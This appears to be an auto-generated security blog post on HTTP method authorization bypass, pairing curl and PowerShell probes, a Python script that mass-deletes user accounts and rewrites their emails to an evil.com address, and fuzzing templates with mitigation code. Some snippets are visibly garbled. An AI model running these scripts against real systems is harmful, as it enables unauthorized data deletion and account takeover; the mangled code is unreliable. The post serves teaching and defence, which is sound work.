Listen to this Post
Introduction:
Access control vulnerabilities remain among the most common yet dangerous flaws in web applications. A seemingly secure endpoint that returns HTTP 403 Forbidden for read operations (GET) might still expose write operations (DELETE, PUT, POST) to unauthorized users. This post highlights a real-world scenario where a program running for years allowed attackers to delete and update data despite receiving 403 errors on fetch and read—a classic broken access control misconfiguration that bypasses authorization checks at the HTTP method level.
Learning Objectives:
- Understand how inconsistent HTTP method‑based access control leads to privilege escalation.
- Learn to detect and exploit missing authorization on DELETE and UPDATE endpoints using manual and automated techniques.
- Implement robust mitigation strategies including per‑method role checks and centralized policy enforcement.
You Should Know:
1. Anatomy of the Vulnerability: Method‑Level Authorization Bypass
In many legacy applications, developers implement access control only for GET requests, assuming that other HTTP methods are either unused or protected by the same logic. However, attackers can simply change the HTTP verb from GET to DELETE or PUT, and the server may process the request without re‑evaluating permissions. The example from the post shows: `GET /api/resource/123` → 403 Forbidden, but `DELETE /api/resource/123` → 200 OK. This indicates that the authorization middleware only inspects the path and user session, ignoring the method.
Step‑by‑step guide to test this manually:
- Identify an endpoint that returns 403 when accessed via browser (GET). Use browser DevTools or Burp Suite to capture the request.
- Change the HTTP method to `PUT` or `DELETE` using a tool like `curl` or Postman.
3. Include the same authentication cookies or tokens.
- Observe the response status code. A 200 or 202 instead of 403 confirms the bypass.
Linux / macOS command example:
Original GET (should be 403)
curl -X GET https://target.com/api/user/123 -H "Cookie: session=xyz" -i
Test DELETE (may be 200)
curl -X DELETE https://target.com/api/user/123 -H "Cookie: session=xyz" -i
Test UPDATE with JSON body
curl -X PUT https://target.com/api/user/123 -H "Cookie: session=xyz" -H "Content-Type: application/json" -d '{"email":"[email protected]"}' -i
Windows (PowerShell) example:
Invoke-WebRequest -Uri "https://target.com/api/user/123" -Method Delete -Headers @{"Cookie"="session=xyz"} -UseBasicParsing
- Exploiting the Vulnerability: From 403 to Full Takeover
Once an attacker confirms that DELETE and PUT methods are allowed, they can perform destructive or privilege‑escalating actions. For example, deleting another user’s account, updating their email or password, or modifying critical application settings. This is particularly dangerous when combined with IDOR (Insecure Direct Object References) because the object ID in the URL is also user‑controllable.
Step‑by‑step exploitation scenario:
- Enumerate resource IDs (e.g., user IDs, document IDs) through other endpoints or predictable patterns.
- Send a DELETE request for each ID while impersonating a low‑privileged account.
- If the response is 200, the resource is deleted. For updates, try to change a target’s role or financial data.
- Automate the process with a simple Python script.
Python exploitation script (educational use only):
import requests
target_url = "https://target.com/api/user/{}"
cookies = {"session": "victim_session_cookie"}
user_ids = range(1000, 1020)
for uid in user_ids:
Try DELETE
resp = requests.delete(target_url.format(uid), cookies=cookies)
if resp.status_code == 200:
print(f"[!] Deleted user {uid} successfully!")
Try PUT to change email
payload = {"email": f"attacker_{uid}@evil.com"}
resp2 = requests.put(target_url.format(uid), json=payload, cookies=cookies)
if resp2.status_code == 200:
print(f"[!] Updated email for user {uid}")
- How to Detect This Flaw Using Burp Suite or ZAP
Automated scanners often miss method‑level authorization issues because they send only the default GET or POST. You need to force‑test each endpoint with all HTTP verbs. Burp Suite’s “Intruder” or “Extensions” like “AuthMatrix” can help.
Step‑by‑step guide using Burp Suite Community:
- Capture a legitimate GET request that returns 403.
2. Send it to Intruder (Ctrl+I).
- In the “Positions” tab, clear all payload positions and highlight the HTTP method (e.g., “GET”).
- In “Payloads”, add a list of methods:
GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD. - Start the attack. Analyze response codes – any non‑403 on non‑GET methods indicates a bypass.
- For authenticated testing, also modify the user context (different session tokens) to test horizontal/vertical privilege escalation.
Alternative with OWASP ZAP:
- Use the “Forced Browse” or “Fuzzer” add‑on.
- Set payload as a list of HTTP methods.
- Review the “Fuzzer” tab for unexpected 200/201/202 responses.
4. Mitigation: Enforce Method‑Specific Authorization Everywhere
The root cause is that authorization logic is applied inconsistently across HTTP methods. A robust fix requires checking permissions on every request, regardless of the verb. Modern frameworks provide method‑level security annotations.
Spring Boot (Java) example – correct approach:
@RestController
@RequestMapping("/api/resource")
public class ResourceController {
@GetMapping("/{id}")
@PreAuthorize("hasRole('READER') and @resourceOwner.check(id, principal)")
public Resource getResource(@PathVariable Long id) { ... }
@DeleteMapping("/{id}")
@PreAuthorize("hasRole('ADMIN') or @resourceOwner.isOwner(id, principal)")
public void deleteResource(@PathVariable Long id) { ... }
@PutMapping("/{id}")
@PreAuthorize("hasRole('EDITOR') and @resourceOwner.isOwner(id, principal)")
public Resource updateResource(@PathVariable Long id, @RequestBody Resource res) { ... }
}
ASP.NET Core (C) with policy‑based authorization:
[Authorize(Policy = "ResourceOwner")]
[HttpGet("{id}")]
public IActionResult Get(int id) { ... }
[Authorize(Policy = "AdminOrOwner")]
[HttpDelete("{id}")]
public IActionResult Delete(int id) { ... }
General best practices:
- Never rely on the absence of a method handler to block requests – implement a fallback authorization filter.
- Use API gateways or reverse proxies (e.g., NGINX, AWS WAF) to block unexpected HTTP methods at the edge.
- Perform regular penetration testing with tools that mutate HTTP verbs.
- Cloud & API Security Hardening Against Method Bypass
In cloud environments (AWS, Azure, GCP), API Gateway and IAM policies can be misconfigured similarly. For example, an AWS API Gateway might allow `DELETE` on a resource while the Lambda authorizer only checks `GET` permissions.
Step‑by‑step cloud hardening:
- AWS: In API Gateway, define a `resource policy` that explicitly denies all methods unless allowed. Use `”Effect”: “Deny”` for
"NotAction": "execute-api:Invoke". Then for each route, attach a Lambda authorizer that validates both the resource ARN and the HTTP method. - Azure: Use Azure API Management (APIM) policies to inspect the `@context.Request.Method` and enforce method‑based `validate-jwt` with claims for `”DELETE”` vs
"GET". - GCP: With Cloud Endpoints or Apigee, create a `SecurityPolicy` that maps HTTP methods to required OAuth scopes.
Example AWS IAM policy (deny unintended DELETE):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:us-east-1:123456789012:abc123//DELETE/",
"Condition": {
"StringNotEquals": {
"aws:PrincipalTag/role": "admin"
}
}
}
]
}
- Command‑Line Testing with HTTP Toolkit and Custom Wordlists
For large‑scale assessments, combine method fuzzing with endpoint discovery. Use tools like `ffuf` or `nuclei` to automate the process.
ffuf command to test multiple methods on a list of endpoints:
First, gather endpoints (e.g., from JS files or Swagger) cat endpoints.txt | while read url; do for method in GET POST PUT DELETE PATCH; do ffuf -u "$url" -X "$method" -H "Cookie: session=xyz" -fc 403,404 -w /dev/null -o results_$method.json done done
Nuclei template snippet for detection:
id: method-bypass-403
info:
name: HTTP Method Authorization Bypass
severity: high
requests:
- method: GET
path: "{{BaseURL}}/api/user/1"
matchers:
- type: status
status: [bash]
- method: DELETE
path: "{{BaseURL}}/api/user/1"
matchers:
- type: status
status: [200,202,204]
What Undercode Say:
- Inconsistent authorization across HTTP methods is a silent killer – it often remains undetected for years because developers only test GET requests.
- Always assume that an attacker will try every verb – use positive security models where all methods are denied by default, then explicitly allow required ones.
- Automated scanners miss this – manual method fuzzing or custom scripts are necessary for thorough assessments. The bug bounty example from the post shows how a simple `curl` command can reveal a critical flaw.
Prediction:
As API‑first architectures and microservices become dominant, method‑level authorization bypasses will surge. Attackers will increasingly exploit misconfigured API gateways and legacy method‑agnostic filters. Future AI‑driven code analysis tools will need to model HTTP method semantics to flag these issues during CI/CD. Without pervasive per‑method policy enforcement, organizations will continue to see high‑severity vulnerabilities in “mature” applications that have run untouched for years. The shift to zero‑trust API security, where every request is fully authenticated and authorized regardless of its verb, will become a mandatory compliance requirement by 2028.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sudhanshu Kashyap – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
